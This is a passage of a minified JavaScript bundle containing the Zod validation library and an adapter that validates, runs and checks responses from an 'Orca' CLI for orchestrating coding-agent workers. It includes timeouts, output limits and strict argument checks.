Z(n,i,n.path,o)):null}).filter(i=>!!i);return n.common.async?Promise.all(a).then(i=>C.mergeArray(r,i)):C.mergeArray(r,a)}get items(){return this._def.items}rest(e){return new t({...this._def,rest:e})}};U.create=(t,e)=>{if(!Array.isArray(t))throw new Error("You must pass an array of schemas to z.tuple([ ... ])");return new U({items:t,typeName:_.ZodTuple,rest:null,...v(e)})};var Ze=class t extends x{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.parsedType!==p.object)return f(n,{code:l.invalid_type,expected:p.object,received:n.parsedType}),g;let s=[],a=this._def.keyType,i=this._def.valueType;for(let o in n.data)s.push({key:a._parse(new Z(n,o,n.path,o)),value:i._parse(new Z(n,n.data[o],n.path,o)),alwaysSet:o in n.data});return n.common.async?C.mergeObjectAsync(r,s):C.mergeObjectSync(r,s)}get element(){return this._def.valueType}static create(e,r,n){return r instanceof x?new t({keyType:e,valueType:r,typeName:_.ZodRecord,...v(n)}):new t({keyType:K.create(),valueType:e,typeName:_.ZodRecord,...v(r)})}},Se=class extends x{get keySchema(){return this._def.keyType}get valueSchema(){return this._def.valueType}_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.parsedType!==p.map)return f(n,{code:l.invalid_type,expected:p.map,received:n.parsedType}),g;let s=this._def.keyType,a=this._def.valueType,i=[...n.data.entries()].map(([o,c],u)=>({key:s._parse(new Z(n,o,n.path,[u,"key"])),value:a._parse(new Z(n,c,n.path,[u,"value"]))}));if(n.common.async){let o=new Map;return Promise.resolve().then(async()=>{for(let c of i){let u=await c.key,h=await c.value;if(u.status==="aborted"||h.status==="aborted")return g;(u.status==="dirty"||h.status==="dirty")&&r.dirty(),o.set(u.value,h.value)}return{status:r.value,value:o}})}else{let o=new Map;for(let c of i){let u=c.key,h=c.value;if(u.status==="aborted"||h.status==="aborted")return g;(u.status==="dirty"||h.status==="dirty")&&r.dirty(),o.set(u.value,h.value)}return{status:r.value,value:o}}}};Se.create=(t,e,r)=>new Se({valueType:e,keyType:t,typeName:_.ZodMap,...v(r)});var Ie=class t extends x{_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.parsedType!==p.set)return f(n,{code:l.invalid_type,expected:p.set,received:n.parsedType}),g;let s=this._def;s.minSize!==null&&n.data.size<s.minSize.value&&(f(n,{code:l.too_small,minimum:s.minSize.value,type:"set",inclusive:!0,exact:!1,message:s.minSize.message}),r.dirty()),s.maxSize!==null&&n.data.size>s.maxSize.value&&(f(n,{code:l.too_big,maximum:s.maxSize.value,type:"set",inclusive:!0,exact:!1,message:s.maxSize.message}),r.dirty());let a=this._def.valueType;function i(c){let u=new Set;for(let h of c){if(h.status==="aborted")return g;h.status==="dirty"&&r.dirty(),u.add(h.value)}return{status:r.value,value:u}}let o=[...n.data.values()].map((c,u)=>a._parse(new Z(n,c,n.path,u)));return n.common.async?Promise.all(o).then(c=>i(c)):i(o)}min(e,r){return new t({...this._def,minSize:{value:e,message:m.toString(r)}})}max(e,r){return new t({...this._def,maxSize:{value:e,message:m.toString(r)}})}size(e,r){return this.min(e,r).max(e,r)}nonempty(e){return this.min(1,e)}};Ie.create=(t,e)=>new Ie({valueType:t,minSize:null,maxSize:null,typeName:_.ZodSet,...v(e)});var ze=class t extends x{constructor(){super(...arguments),this.validate=this.implement}_parse(e){let{ctx:r}=this._processInputParams(e);if(r.parsedType!==p.function)return f(r,{code:l.invalid_type,expected:p.function,received:r.parsedType}),g;function n(o,c){return Ee({data:o,path:r.path,errorMaps:[r.common.contextualErrorMap,r.schemaErrorMap,ke(),F].filter(u=>!!u),issueData:{code:l.invalid_arguments,argumentsError:c}})}function s(o,c){return Ee({data:o,path:r.path,errorMaps:[r.common.contextualErrorMap,r.schemaErrorMap,ke(),F].filter(u=>!!u),issueData:{code:l.invalid_return_type,returnTypeError:c}})}let a={errorMap:r.common.contextualErrorMap},i=r.data;if(this._def.returns instanceof Q){let o=this;return E(async function(...c){let u=new j([]),h=await o._def.args.parseAsync(c,a).catch(P=>{throw u.addIssue(n(c,P)),u}),w=await Reflect.apply(i,this,h);return await o._def.returns._def.type.parseAsync(w,a).catch(P=>{throw u.addIssue(s(w,P)),u})})}else{let o=this;return E(function(...c){let u=o._def.args.safeParse(c,a);if(!u.success)throw new j([n(c,u.error)]);let h=Reflect.apply(i,this,u.data),w=o._def.returns.safeParse(h,a);if(!w.success)throw new j([s(h,w.error)]);return w.data})}}parameters(){return this._def.args}returnType(){return this._def.returns}args(...e){return new t({...this._def,args:U.create(e).rest(H.create())})}returns(e){return new t({...this._def,returns:e})}implement(e){return this.parse(e)}strictImplement(e){return this.parse(e)}static create(e,r,n){return new t({args:e||U.create([]).rest(H.create()),returns:r||H.create(),typeName:_.ZodFunction,...v(n)})}},fe=class extends x{get schema(){return this._def.getter()}_parse(e){let{ctx:r}=this._processInputParams(e);return this._def.getter()._parse({data:r.data,path:r.path,parent:r})}};fe.create=(t,e)=>new fe({getter:t,typeName:_.ZodLazy,...v(e)});var pe=class extends x{_parse(e){if(e.data!==this._def.value){let r=this._getOrReturnCtx(e);return f(r,{received:r.data,code:l.invalid_literal,expected:this._def.value}),g}return{status:"valid",value:e.data}}get value(){return this._def.value}};pe.create=(t,e)=>new pe({value:t,typeName:_.ZodLiteral,...v(e)});function lt(t,e){return new me({values:t,typeName:_.ZodEnum,...v(e)})}var me=class t extends x{_parse(e){if(typeof e.data!="string"){let r=this._getOrReturnCtx(e),n=this._def.values;return f(r,{expected:k.joinValues(n),received:r.parsedType,code:l.invalid_type}),g}if(this._cache||(this._cache=new Set(this._def.values)),!this._cache.has(e.data)){let r=this._getOrReturnCtx(e),n=this._def.values;return f(r,{received:r.data,code:l.invalid_enum_value,options:n}),g}return E(e.data)}get options(){return this._def.values}get enum(){let e={};for(let r of this._def.values)e[r]=r;return e}get Values(){let e={};for(let r of this._def.values)e[r]=r;return e}get Enum(){let e={};for(let r of this._def.values)e[r]=r;return e}extract(e,r=this._def){return t.create(e,{...this._def,...r})}exclude(e,r=this._def){return t.create(this.options.filter(n=>!e.includes(n)),{...this._def,...r})}};me.create=lt;var he=class extends x{_parse(e){let r=k.getValidEnumValues(this._def.values),n=this._getOrReturnCtx(e);if(n.parsedType!==p.string&&n.parsedType!==p.number){let s=k.objectValues(r);return f(n,{expected:k.joinValues(s),received:n.parsedType,code:l.invalid_type}),g}if(this._cache||(this._cache=new Set(k.getValidEnumValues(this._def.values))),!this._cache.has(e.data)){let s=k.objectValues(r);return f(n,{received:n.data,code:l.invalid_enum_value,options:s}),g}return E(e.data)}get enum(){return this._def.values}};he.create=(t,e)=>new he({values:t,typeName:_.ZodNativeEnum,...v(e)});var Q=class extends x{unwrap(){return this._def.type}_parse(e){let{ctx:r}=this._processInputParams(e);if(r.parsedType!==p.promise&&r.common.async===!1)return f(r,{code:l.invalid_type,expected:p.promise,received:r.parsedType}),g;let n=r.parsedType===p.promise?r.data:Promise.resolve(r.data);return E(n.then(s=>this._def.type.parseAsync(s,{path:r.path,errorMap:r.common.contextualErrorMap})))}};Q.create=(t,e)=>new Q({type:t,typeName:_.ZodPromise,...v(e)});var z=class extends x{innerType(){return this._def.schema}sourceType(){return this._def.schema._def.typeName===_.ZodEffects?this._def.schema.sourceType():this._def.schema}_parse(e){let{status:r,ctx:n}=this._processInputParams(e),s=this._def.effect||null,a={addIssue:i=>{f(n,i),i.fatal?r.abort():r.dirty()},get path(){return n.path}};if(a.addIssue=a.addIssue.bind(a),s.type==="preprocess"){let i=s.transform(n.data,a);if(n.common.async)return Promise.resolve(i).then(async o=>{if(r.value==="aborted")return g;let c=await this._def.schema._parseAsync({data:o,path:n.path,parent:n});return c.status==="aborted"?g:c.status==="dirty"?ne(c.value):r.value==="dirty"?ne(c.value):c});{if(r.value==="aborted")return g;let o=this._def.schema._parseSync({data:i,path:n.path,parent:n});return o.status==="aborted"?g:o.status==="dirty"?ne(o.value):r.value==="dirty"?ne(o.value):o}}if(s.type==="refinement"){let i=o=>{let c=s.refinement(o,a);if(n.common.async)return Promise.resolve(c);if(c instanceof Promise)throw new Error("Async refinement encountered during synchronous parse operation. Use .parseAsync instead.");return o};if(n.common.async===!1){let o=this._def.schema._parseSync({data:n.data,path:n.path,parent:n});return o.status==="aborted"?g:(o.status==="dirty"&&r.dirty(),i(o.value),{status:r.value,value:o.value})}else return this._def.schema._parseAsync({data:n.data,path:n.path,parent:n}).then(o=>o.status==="aborted"?g:(o.status==="dirty"&&r.dirty(),i(o.value).then(()=>({status:r.value,value:o.value}))))}if(s.type==="transform")if(n.common.async===!1){let i=this._def.schema._parseSync({data:n.data,path:n.path,parent:n});if(!Y(i))return g;let o=s.transform(i.value,a);if(o instanceof Promise)throw new Error("Asynchronous transform encountered during synchronous parse operation. Use .parseAsync instead.");return{status:r.value,value:o}}else return this._def.schema._parseAsync({data:n.data,path:n.path,parent:n}).then(i=>Y(i)?Promise.resolve(s.transform(i.value,a)).then(o=>({status:r.value,value:o})):g);k.assertNever(s)}};z.create=(t,e,r)=>new z({schema:t,typeName:_.ZodEffects,effect:e,...v(r)});z.createWithPreprocess=(t,e,r)=>new z({schema:e,effect:{type:"preprocess",transform:t},typeName:_.ZodEffects,...v(r)});var $=class extends x{_parse(e){return this._getType(e)===p.undefined?E(void 0):this._def.innerType._parse(e)}unwrap(){return this._def.innerType}};$.create=(t,e)=>new $({innerType:t,typeName:_.ZodOptional,...v(e)});var q=class extends x{_parse(e){return this._getType(e)===p.null?E(null):this._def.innerType._parse(e)}unwrap(){return this._def.innerType}};q.create=(t,e)=>new q({innerType:t,typeName:_.ZodNullable,...v(e)});var ge=class extends x{_parse(e){let{ctx:r}=this._processInputParams(e),n=r.data;return r.parsedType===p.undefined&&(n=this._def.defaultValue()),this._def.innerType._parse({data:n,path:r.path,parent:r})}removeDefault(){return this._def.innerType}};ge.create=(t,e)=>new ge({innerType:t,typeName:_.ZodDefault,defaultValue:typeof e.default=="function"?e.default:()=>e.default,...v(e)});var ye=class extends x{_parse(e){let{ctx:r}=this._processInputParams(e),n={...r,common:{...r.common,issues:[]}},s=this._def.innerType._parse({data:n.data,path:n.path,parent:{...n}});return be(s)?s.then(a=>({status:"valid",value:a.status==="valid"?a.value:this._def.catchValue({get error(){return new j(n.common.issues)},input:n.data})})):{status:"valid",value:s.status==="valid"?s.value:this._def.catchValue({get error(){return new j(n.common.issues)},input:n.data})}}removeCatch(){return this._def.innerType}};ye.create=(t,e)=>new ye({innerType:t,typeName:_.ZodCatch,catchValue:typeof e.catch=="function"?e.catch:()=>e.catch,...v(e)});var Re=class extends x{_parse(e){if(this._getType(e)!==p.nan){let n=this._getOrReturnCtx(e);return f(n,{code:l.invalid_type,expected:p.nan,received:n.parsedType}),g}return{status:"valid",value:e.data}}};Re.create=t=>new Re({typeName:_.ZodNaN,...v(t)});var lr=Symbol("zod_brand"),je=class extends x{_parse(e){let{ctx:r}=this._processInputParams(e),n=r.data;return this._def.type._parse({data:n,path:r.path,parent:r})}unwrap(){return this._def.type}},Ne=class t extends x{_parse(e){let{status:r,ctx:n}=this._processInputParams(e);if(n.common.async)return(async()=>{let a=await this._def.in._parseAsync({data:n.data,path:n.path,parent:n});return a.status==="aborted"?g:a.status==="dirty"?(r.dirty(),ne(a.value)):this._def.out._parseAsync({data:a.value,path:n.path,parent:n})})();{let s=this._def.in._parseSync({data:n.data,path:n.path,parent:n});return s.status==="aborted"?g:s.status==="dirty"?(r.dirty(),{status:"dirty",value:s.value}):this._def.out._parseSync({data:s.value,path:n.path,parent:n})}}static create(e,r){return new t({in:e,out:r,typeName:_.ZodPipeline})}},_e=class extends x{_parse(e){let r=this._def.innerType._parse(e),n=s=>(Y(s)&&(s.value=Object.freeze(s.value)),s);return be(r)?r.then(s=>n(s)):n(r)}unwrap(){return this._def.innerType}};_e.create=(t,e)=>new _e({innerType:t,typeName:_.ZodReadonly,...v(e)});function ot(t,e){let r=typeof t=="function"?t(e):typeof t=="string"?{message:t}:t;return typeof r=="string"?{message:r}:r}function ft(t,e={},r){return t?X.create().superRefine((n,s)=>{let a=t(n);if(a instanceof Promise)return a.then(i=>{if(!i){let o=ot(e,n),c=o.fatal??r??!0;s.addIssue({code:"custom",...o,fatal:c})}});if(!a){let i=ot(e,n),o=i.fatal??r??!0;s.addIssue({code:"custom",...i,fatal:o})}}):X.create()}var fr={object:N.lazycreate},_;(function(t){t.ZodString="ZodString",t.ZodNumber="ZodNumber",t.ZodNaN="ZodNaN",t.ZodBigInt="ZodBigInt",t.ZodBoolean="ZodBoolean",t.ZodDate="ZodDate",t.ZodSymbol="ZodSymbol",t.ZodUndefined="ZodUndefined",t.ZodNull="ZodNull",t.ZodAny="ZodAny",t.ZodUnknown="ZodUnknown",t.ZodNever="ZodNever",t.ZodVoid="ZodVoid",t.ZodArray="ZodArray",t.ZodObject="ZodObject",t.ZodUnion="ZodUnion",t.ZodDiscriminatedUnion="ZodDiscriminatedUnion",t.ZodIntersection="ZodIntersection",t.ZodTuple="ZodTuple",t.ZodRecord="ZodRecord",t.ZodMap="ZodMap",t.ZodSet="ZodSet",t.ZodFunction="ZodFunction",t.ZodLazy="ZodLazy",t.ZodLiteral="ZodLiteral",t.ZodEnum="ZodEnum",t.ZodEffects="ZodEffects",t.ZodNativeEnum="ZodNativeEnum",t.ZodOptional="ZodOptional",t.ZodNullable="ZodNullable",t.ZodDefault="ZodDefault",t.ZodCatch="ZodCatch",t.ZodPromise="ZodPromise",t.ZodBranded="ZodBranded",t.ZodPipeline="ZodPipeline",t.ZodReadonly="ZodReadonly"})(_||(_={}));var pr=(t,e={message:`Input not instance of ${t.name}`})=>ft(r=>r instanceof t,e),pt=K.create,mt=se.create,mr=Re.create,hr=ae.create,ht=ie.create,gr=oe.create,yr=Oe.create,_r=ce.create,vr=ue.create,xr=X.create,kr=H.create,br=L.create,wr=Te.create,Or=G.create,Tr=N.create,Sr=N.strictCreate,Ir=de.create,Rr=$e.create,Ar=le.create,Cr=U.create,Er=Ze.create,jr=Se.create,Nr=Ie.create,Mr=ze.create,Vr=fe.create,Pr=pe.create,$r=me.create,Zr=he.create,zr=Q.create,Lr=z.create,Dr=$.create,Br=q.create,Ur=z.createWithPreprocess,qr=Ne.create,Jr=()=>pt().optional(),Fr=()=>mt().optional(),Wr=()=>ht().optional(),Hr={string:(t=>K.create({...t,coerce:!0})),number:(t=>se.create({...t,coerce:!0})),boolean:(t=>ie.create({...t,coerce:!0})),bigint:(t=>ae.create({...t,coerce:!0})),date:(t=>oe.create({...t,coerce:!0}))};var Gr=g;var Kr=["run-create","run-list","run-show","run-current","run-use","task-create","task-list","task-update","worker-start","worker-show","worker-read","worker-release","send","check","reply","ask","gate-create","gate-list","gate-resolve"],T=class extends Error{constructor(r,n,s,a,i,o,c){super(o);this.code=r;this.operation=n;this.phase=s;this.retrySafety=a;this.recovery=i;this.stderr=c}code;operation;phase;retrySafety;recovery;stderr;name="OrcaAdapterError"},y=d.string().regex(/^[A-Za-z][A-Za-z0-9_-]{0,127}$/),rt=t=>d.string().refine(e=>e===e.normalize("NFC"),"must be NFC-normalized").refine(e=>!e.includes("\0")&&!/[\uD800-\uDFFF]/u.test(e),"contains an invalid code point").refine(e=>Buffer.byteLength(e,"utf8")>=1&&Buffer.byteLength(e,"utf8")<=t),M=rt(16384),D=rt(512),te=rt(256),Me=d.string().min(1).max(512).regex(/^[\x21-\x7E]+$/).refine(t=>!t.startsWith("-")&&!/[;&|`$<>\\(){}\[\]*?!'\"]/.test(t)),kt=Me.refine(t=>Buffer.byteLength(t,"utf8")<=128),gt=d.number().int().min(1).max(100),Ye=d.number().int().min(250).max(6e5),Ue=d.enum(["pending","ready","dispatched","completed","failed","blocked"]),bt=d.enum(["pending","resolved"]),Be=d.enum(["status","dispatch","worker_done","merge_ready","escalation","handoff","question","decision_gate","heartbeat"]),Xr=d.enum(["low","normal","high","urgent"]),wt=d.enum(["auto","transcript","terminal"]),Ot=d.enum(["claude","codex","cursor","droid","gemini","grok","opencode"]),Tt=d.enum(["low","medium","high","xhigh"]),ee=(t,e,r=0)=>d.array(t).min(r).max(e).refine(n=>new Set(n).size===n.length,"items must be unique"),St=d.object({summary:M,artifacts:ee(te,32).optional()}).strict().refine(t=>Buffer.byteLength(JSON.stringify(t))<=32768),Qr=d.object({taskId:y.optional(),dispatchId:y.optional(),phase:te.optional(),outcome:d.enum(["succeeded","failed"]).optional(),filesModified:ee(te,128).optional(),reportPath:te.optional()}).strict().refine(t=>Object.keys(t).length>0,"payload must not be empty").refine(t=>Buffer.byteLength(JSON.stringify(t))<=32768),R=(t,e)=>d.object({operation:d.literal(t),...e}).strict(),It=d.union([R("run-create",{objective:M}),R("run-list",{limit:gt.optional(),cursor:Me.optional()}),R("run-show",{id:y}),R("run-current",{}),R("run-use",{id:y}),R("task-create",{spec:M,title:D.optional(),deps:ee(y,64).optional(),parent:y.optional()}),R("task-list",{status:Ue.optional(),ready:d.boolean().optional(),brief:d.boolean().optional()}),R("task-update",{id:y,status:Ue,result:St.optional()}),R("worker-start",{task:y,agent:Ot,model:kt.optional(),effort:Tt.optional(),timeoutMs:Ye.optional()}).refine(t=>t.effort===void 0||t.model!==void 0,{message:"effort requires model"}),R("worker-show",{dispatch:y}),R("worker-read",{dispatch:y,source:wt.optional(),cursor:Me.optional(),limit:gt.optional()}),R("worker-release",{dispatch:y}),R("send",{subject:D,body:M.optional(),type:Be.optional(),priority:Xr.optional(),threadId:y.optional(),payload:Qr.optional()}),R("check",{ack:y.optional(),unread:d.boolean().optional(),peek:d.boolean().optional(),all:d.boolean().optional(),types:ee(Be,Be.options.length,1).optional(),wait:d.boolean().optional(),timeoutMs:Ye.optional()}).refine(t=>[t.unread,t.peek,t.all].filter(e=>e===!0).length<=1,{message:"unread, peek, and all are mutually exclusive"}).refine(t=>t.timeoutMs===void 0||t.wait===!0,{message:"timeoutMs requires wait"}),R("reply",{id:y,body:M}),R("ask",{question:D.optional(),resume:y.optional(),options:ee(te,10,1).optional(),timeoutMs:Ye.optional()}).refine(t=>t.question===void 0!=(t.resume===void 0),{message:"exactly one of question or resume is required"}).refine(t=>t.options===void 0||t.question!==void 0,{message:"options require question"}).refine(t=>t.options?.every(e=>!/[,\r\n]/.test(e))??!0,{message:"ask options cannot contain comma, CR, or LF"}),R("gate-create",{task:y,question:D,options:ee(te,10,1).optional()}),R("gate-list",{task:y.optional(),status:bt.optional()}),R("gate-resolve",{id:y,resolution:M,task:y})]);function S(t,e){if(e.length>0&&e[0]==="-")throw new T("invalid_argument","runtime","validate","safe","Correct the rejected semantic value and retry.",`${t} has a flag-shaped value`);return[t,e]}function I(t,e){return e===void 0?[]:S(t,String(e))}function Ae(t,e){return e===!0?[t]:[]}function yt(t){let e=It.safeParse(t);if(!e.success){let s=en(t);throw new T(s===void 0?"invalid_operation":"invalid_argument",s??"runtime","validate","safe","Correct the semantic input and retry.",e.error.issues.map(a=>a.message).join("; "))}let r=e.data,n=tn(r);return Object.freeze(["orchestration",r.operation,...n,"--json"])}function en(t){if(typeof t!="object"||t===null||!("operation"in t))return;let e=t.operation;return Kr.find(r=>r===e)}function tn(t){switch(t.operation){case"run-create":return S("--objective",t.objective);case"run-list":return[...I("--limit",t.limit),...I("--cursor",t.cursor)];case"run-show":case"run-use":return S("--id",t.id);case"run-current":return[];case"task-create":return[...S("--spec",t.spec),...I("--task-title",t.title),...t.deps===void 0?[]:S("--deps",JSON.stringify(t.deps)),...I("--parent",t.parent)];case"task-list":return[...I("--status",t.status),...Ae("--ready",t.ready),...Ae("--brief",t.brief)];case"task-update":return[...S("--id",t.id),...S("--status",t.status),...t.result===void 0?[]:S("--result",JSON.stringify(t.result))];case"worker-start":return[...S("--task",t.task),"--worktree","current",...S("--agent",t.agent),...I("--model",t.model),...I("--effort",t.effort),...I("--timeout-ms",t.timeoutMs)];case"worker-show":case"worker-release":return S("--dispatch",t.dispatch);case"worker-read":return[...S("--dispatch",t.dispatch),...I("--source",t.source),...I("--cursor",t.cursor),...I("--limit",t.limit)];case"send":return[...S("--subject",t.subject),...I("--body",t.body),...I("--type",t.type),...I("--priority",t.priority),...I("--thread-id",t.threadId),...t.payload===void 0?[]:S("--payload",JSON.stringify(t.payload))];case"check":return[...I("--ack",t.ack),...Ae("--unread",t.unread),...Ae("--peek",t.peek),...Ae("--all",t.all),...t.types===void 0?[]:S("--types",t.types.join(",")),...Ae("--wait",t.wait),...I("--timeout-ms",t.timeoutMs)];case"reply":return[...S("--id",t.id),...S("--body",t.body)];case"ask":return[...t.question===void 0?S("--resume",t.resume):S("--question",t.question),...t.options===void 0?[]:S("--options",t.options.join(",")),...I("--timeout-ms",t.timeoutMs)];case"gate-create":return[...S("--task",t.task),...S("--question",t.question),...t.options===void 0?[]:S("--options",JSON.stringify(t.options))];case"gate-list":return[...I("--task",t.task),...I("--status",t.status)];case"gate-resolve":return[...S("--id",t.id),...S("--resolution",t.resolution)]}}function rn(t={}){let e=t.platform??process.platform;if(e==="win32")return"orca.exe";if(e==="darwin")return"orca";if(e==="linux")return t.managedTerminal===!0?"orca":"orca-ide";throw new T("unsupported_platform","runtime","resolve","safe","Run the adapter on a supported Orca host.",`unsupported platform: ${e}`)}var nn=3e4,sn=5e3,an=605e3,on=1048576,cn=65536,un=1e3,dn=1e3;function Rt(t=Yr){return e=>new Promise((r,n)=>{let s=t(e.executable,[...e.argv],{shell:e.shell,env:e.env,stdio:["ignore","pipe","pipe"],windowsHide:!0}),a=[],i=[],o=0,c=0,u=!1,h=!1,w=!1,V=!1,P,J,xe=A=>{u||(u=!0,clearTimeout(st),P!==void 0&&clearTimeout(P),J!==void 0&&clearTimeout(J),r(A))},Je=()=>{s.kill("SIGTERM"),P??=setTimeout(()=>{s.kill("SIGKILL"),J??=setTimeout(()=>xe({exitCode:null,signal:"SIGKILL",stdout:Buffer.concat(a).toString("utf8"),stderr:Buffer.concat(i).toString("utf8"),timedOut:h,outputLimited:w,transportLost:!0}),dn)},un)},st=setTimeout(()=>{h=!0,Je()},e.timeoutMs),Fe=A=>{u||xe({exitCode:null,stdout:Buffer.concat(a).toString("utf8"),stderr:`${Buffer.concat(i).toString("utf8")} +${A}`,timedOut:h,outputLimited:w,transportLost:!0})};s.stdout.on("error",A=>{Fe(`stdout stream error: ${A.message}`)}),s.stderr.on("error",A=>{Fe(`stderr stream error: ${A.message}`)}),s.stdout.on("data",A=>{o+=A.length,o>e.maxStdoutBytes?(w=!0,Je()):a.push(A)}),s.stderr.on("data",A=>{c+=A.length,c>e.maxStderrBytes?(w=!0,Je()):i.push(A)}),s.once("spawn",()=>{V=!0}),s.once("error",A=>{if(!u){if(V){Fe(`process transport error: ${A.message}`);return}u=!0,clearTimeout(st),P!==void 0&&clearTimeout(P),J!==void 0&&clearTimeout(J),n(A)}}),s.once("close",(A,$t)=>{u||xe({exitCode:A,signal:$t,stdout:Buffer.concat(a).toString("utf8"),stderr:Buffer.concat(i).toString("utf8"),timedOut:h,outputLimited:w})})})}var At=Rt(),Ce=y,b=t=>d.object(t).strict(),Ke=b({id:y,objective:M.optional(),coordinatorTerminalHandle:Ce.optional()}),Le=b({id:y,objective:M,home_database:d.string().min(1).max(128),coordinator_handle:Ce,coordinator_pane_key:d.string().min(1).max(256),consumer_generation:d.number().int().positive(),legacy:d.number().int().min(0).max(1),created_at:d.string().min(1).max(64),updated_at:d.string().min(1).max(64)}),ln=b({id:y,spec:M,title:D.optional(),deps:ee(y,64).optional(),parent:y.optional(),status:Ue,result:St.optional()}),Xe=b({id:y,run_id:y,parent_id:y.nullable(),created_by_terminal_handle:Ce,created_by_pane_key:d.string().min(1).max(256),created_by_process_incarnation:d.string().min(1).max(512),created_by_run_generation:d.number().int().positive(),task_title:D,display_name:D,spec:M,status:Ue,deps:d.string().max(16384),result:d.string().max(32768).nullable(),created_at:d.string().min(1).max(64),completed_at:d.string().min(1).max(64).nullable()}),De=b({requestId:d.string().uuid(),replayed:d.boolean()}),_t=b({consumerGeneration:d.number().int().positive()}),fn=b({id:y,taskId:y,agent:Ot.optional(),model:kt.optional(),effort:Tt.optional(),state:te.optional(),terminalDisposition:d.enum(["released","retained"]).optional()}),pn=b({id:y,taskId:y,question:D,options:ee(te,10,1).optional(),status:bt,resolution:M.optional()}),vt=b({messageId:y}),mn=d.union([b({messageId:y,state:d.literal("answered"),answer:M}),b({messageId:y,state:d.literal("pending")})]),hn=b({deliveryId:y.optional(),acknowledged:d.boolean().optional(),messages:d.array(b({id:y,type:Be,subject:D})).max(50).optional(),count:d.number().int().min(0).max(50).optional()}),gn={"run-create":d.union([b({runId:y}),b({run:Le,binding:_t,mutation:De})]),"run-list":b({runs:d.array(Ke).max(100),cursor:Me.optional()}),"run-show":b({run:d.union([Ke,Le])}),"run-current":d.union([b({run:Ke,coordinatorTerminalHandle:Ce}),b({run:Le.nullable()})]),"run-use":d.union([b({runId:y,coordinatorTerminalHandle:Ce}),b({run:Le,binding:_t,mutation:De})]),"task-create":d.union([b({taskId:y}),b({task:Xe,mutation:De})]),"task-list":d.union([b({tasks:d.array(ln).max(100)}),b({runId:y,legacyReadOnly:d.boolean(),tasks:d.array(Xe).max(100),count:d.number().int().min(0).max(100)})]),"task-update":d.union([b({taskId:y}),b({task:Xe,mutation:De})]),"worker-start":b({dispatchId:y,taskId:y}),"worker-show":b({dispatch:fn}),"worker-read":b({dispatchId:y,source:wt,output:M,cursor:Me.optional()}),"worker-release":b({dispatchId:y}),send:vt,check:hn,reply:vt,ask:mn,"gate-create":b({gateId:y,taskId:y}),"gate-list":b({gates:d.array(pn).max(100)}),"gate-resolve":b({gateId:y,taskId:y})},yn=d.object({id:d.string().min(1).max(256),ok:d.boolean(),result:d.unknown().optional(),error:d.object({code:d.string().min(1).max(128),message:d.string().min(1).max(4096)}).strict().optional(),_meta:d.object({runtimeId:y,runtimeVersion:D.optional(),version:D.optional(),invokingTerminal:Ce.optional()}).strict().optional()}).strict().refine(t=>t.ok?t.result!==void 0&&t.error===void 0:t.result===void 0&&t.error!==void 0),_n=d.object({id:d.string().min(1).max(256),ok:d.literal(!0),result:d.object({target:d.object({kind:d.literal("local")}).strict(),app:d.object({running:d.literal(!0),pid:d.number().int().positive(),desktopWindowStatus:d.enum(["available","unavailable"])}).strict(),runtime:d.object({state:d.literal("ready"),reachable:d.literal(!0),runtimeId:d.string().min(1).max(256),appVersion:d.string().regex(/^\d+\.\d+\.\d+(?:[-+].*)?$/),remoteUpdateSupport:d.object({installMode:d.string().min(1).max(128),automatic:d.boolean(),reason:d.string().min(1).max(256)}).strict(),capabilities:d.array(d.string().min(1).max(256)).max(256)}).strict(),graph:d.object({state:d.literal("ready")}).strict()}).strict(),_meta:d.object({runtimeId:d.string().min(1).max(256)}).strict()}).strict().refine(t=>t.result.runtime.runtimeId===t._meta.runtimeId,"runtime identity mismatch");function re(t,e,r){return new T("ambiguous_after_possible_commit",t,e,"unrecoverably-ambiguous","Do not retry automatically; inspect the documented public read operation before choosing another mutation.",r)}function vn(t,e,r){let n;try{n=Ct(e)}catch{throw r?re(t,"decode","stdout was not one JSON document"):new T("malformed_json",t,"decode","safe","Inspect Orca health and retry this read-only operation when safe.","stdout was not one JSON document")}let s=yn.safeParse(n);if(!s.success)throw r?re(t,"decode","stdout did not match the Orca envelope contract"):new T("unexpected_response",t,"decode","safe","Use a compatible Orca CLI version.","stdout did not match the Orca envelope contract");if(s.data.ok&&!gn[t].safeParse(s.data.result).success)throw r?re(t,"receipt",`success result did not match the finite ${t} response contract`):new T("unexpected_response",t,"decode","safe","Use a compatible Orca CLI version and inspect the public operation result.",`success result did not match the finite ${t} response contract`);return s.data}function Ct(t){let e=[],r=!1,n=0;for(;n<t.length;){let s=t[n];if(s==='"'){let a=n;for(n+=1;n<t.length;)if(t[n]==="\\")n+=2;else{if(t[n]==='"')break;n+=1}if(n>=t.length)throw new Error("unterminated JSON string");if(r){let i=JSON.parse(t.slice(a,n+1)),o=e.at(-1);if(o==null||o.has(i))throw new Error("duplicate JSON key");o.add(i),r=!1}}else s==="{"?(e.push(new Set),r=!0):s==="["?e.push(null):s==="}"||s==="]"?e.pop():s===","&&e.at(-1)instanceof Set&&(r=!0);n+=1}return JSON.parse(t)}var Qe=new Set(["run-create","run-use","task-create","task-update","worker-start","worker-release","send","reply","ask","gate-create","gate-resolve"]);function et(t,e){return t==="check"&&typeof e=="object"&&e!==null&&"ack"in e}function O(t){return typeof t!="object"||t===null||Array.isArray(t)?{}:t}function ve(t,e){let r=O(t)[e];return typeof r=="object"&&r!==null?O(r).id:void 0}function xn(t,e){let r=O(e);if(t==="run-create"||t==="run-use"){let s=r.runId??ve(r,"run");return Object.freeze(typeof s=="string"?{runId:s}:{})}if(t==="task-create"||t==="task-update"){let s=r.taskId??ve(r,"task");return Object.freeze(typeof s=="string"?{taskId:s}:{})}return Object.freeze(Object.fromEntries(({"run-create":["runId"],"run-use":["runId"],"task-create":["taskId"],"task-update":["taskId"],"worker-start":["dispatchId","taskId"],"worker-release":["dispatchId"],send:["messageId"],reply:["messageId"],ask:["messageId"],check:["deliveryId"],"gate-create":["gateId","taskId"],"gate-resolve":["gateId","taskId"]}[t]??[]).flatMap(s=>typeof r[s]=="string"?[[s,r[s]]]:[])))}function kn(t,e){if(t.operation==="run-use"){let r=O(e),n=r.runId??ve(r,"run");return{operation:{operation:"run-current"},matches:s=>{let a=O(s);if(a.run===null||a.run===void 0)return!1;let i=O(a.run);return n===t.id&&i.id===t.id}}}if(t.operation==="gate-resolve"){let r=O(e);return{operation:{operation:"gate-list",task:t.task},matches:n=>{if(r.gateId!==t.id||r.taskId!==t.task)return!1;let 